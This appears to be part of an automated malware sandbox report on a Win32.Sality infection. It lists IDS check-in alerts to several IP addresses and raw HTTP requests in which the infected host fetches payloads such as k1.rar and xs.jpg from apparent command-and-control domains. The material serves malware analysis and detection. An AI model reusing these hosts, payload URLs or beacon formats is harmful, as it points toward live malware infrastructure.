Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49980 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49981 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49982 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49984 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49985 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49986 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49987 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49988 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49990 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49991 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49992 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49993 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49994 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49996 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49997 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49998 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49999 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50000 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50002 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50003 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50004 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50005 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50006 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50008 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50009 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50010 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50011 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50012 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50014 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50015 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50016 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50017 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50018 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50020 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50021 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50022 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50023 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50024 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50026 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50027 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50028 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50029 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:50030 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:63852 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:63853 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:63854 -> 44.221.84.105:80
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 799
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.9:49706 -> 44.221.84.105:799
Source: global traffic UDP traffic: 192.168.2.9:57606 -> 85.17.167.196:9832
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 44.221.84.105 44.221.84.105
Source: Joe Sandbox View IP Address: 78.46.2.155 78.46.2.155
Source: Joe Sandbox View IP Address: 54.244.188.177 54.244.188.177
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View ASN Name: AEROTEK-ASTR AEROTEK-ASTR
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5e49a2=6179234 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xs.jpg?60b080=25346560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?63977b=19580529 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xs.jpg?71a0be=14893436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?84b38e=43483590 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e6979d=105784651 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159259|1720159259|0|1|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?10010fa=33563124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159259|1720159259|0|1|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?10da53c=53014452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159260|1720159260|0|1|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1209c47=37828750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?13a89f9=164909000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?17b6de9=198930248 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159264|1720159259|2|2|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1952911=185868151 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159265|1720159259|3|2|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1a33e4b=109902124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159265|1720159260|2|2|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1b6026e=172232340 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1c98993=269866539 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?20ae1e9=239873375 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159268|1720159259|3|3|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?224a908=215742000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159269|1720159259|3|3|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?256dbec=353221452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159269|1720159260|3|3|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?263e0bf=360900279 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?27da790=167157312 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2dce9fa=384258000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159272|1720159259|3|4|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?2f6b0f9=149164779 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159272|1720159259|3|4|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?341e887=546510150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159273|1720159260|3|4|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?34f3b0d=388668763 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?362c1e4=113607624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3c84448=190368984 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159276|1720159259|3|5|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3dc8d75=518286248 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159276|1720159259|3|5|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3e9e01a=262635624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159277|1720159260|3|5|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?42142ff=692887030 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?434c9e5=282273684 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?475ad88=299284000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159280|1720159259|3|6|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4ae2102=706685202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159280|1720159259|3|6|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4c9a32f=401616875 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159281|1720159260|3|6|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?513542c=255458436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?59e2a88=565509936 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?676dbbc=108452796 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159283|1720159259|3|7|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?6dcc621=690791622 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159284|1720159259|3|7|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7591ee5=1109530125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159285|1720159260|3|7|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?7ab8dec=1286835000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?811c5c4=406147404 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?8f21b84=600337936 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159287|1720159259|3|8|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?96faab4=1108191980 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159288|1720159259|3|8|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9b39c81=651063812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159288|1720159260|3|8|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a2ff583=854576015 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?a95dff7=1598349231 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bc3818e=986810310 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159291|1720159259|3|9|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?c29ba9f=612184029 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159291|1720159259|3|9|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c814e8b=1888207587 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159292|1720159260|3|9|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?cd40c9d=1506564171 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d5ebd9e=2018814606 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e924854=-1850289336 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159295|1720159259|3|10|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?efa2e6a=-2033475142 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159295|1720159259|3|10|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f75905a=1556177436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159296|1720159260|3|10|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?fbaba77=527791342 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1055bd73=-1828476661 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
